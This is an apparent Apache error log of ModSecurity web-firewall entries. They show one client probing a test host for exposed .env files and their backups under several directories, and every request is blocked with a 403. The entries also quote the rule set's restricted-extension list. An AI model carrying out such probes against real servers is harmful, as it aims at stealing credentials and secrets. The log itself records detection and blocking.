[Fri Oct 24 20:58:13.595372 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.595532 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.634366 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.634548 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.634770 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.634917 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.676474 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.676660 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.676903 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.677055 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.720706 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.720936 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.721084 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.133632 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.133883 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.134058 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.195117 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.195299 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.195586 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.195746 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.247281 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.247476 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.247697 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.247855 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.309349 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.309748 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.309941 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbVwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.369162 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.369424 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbWAAAAAE&quot;], referer: https://www.google.com/
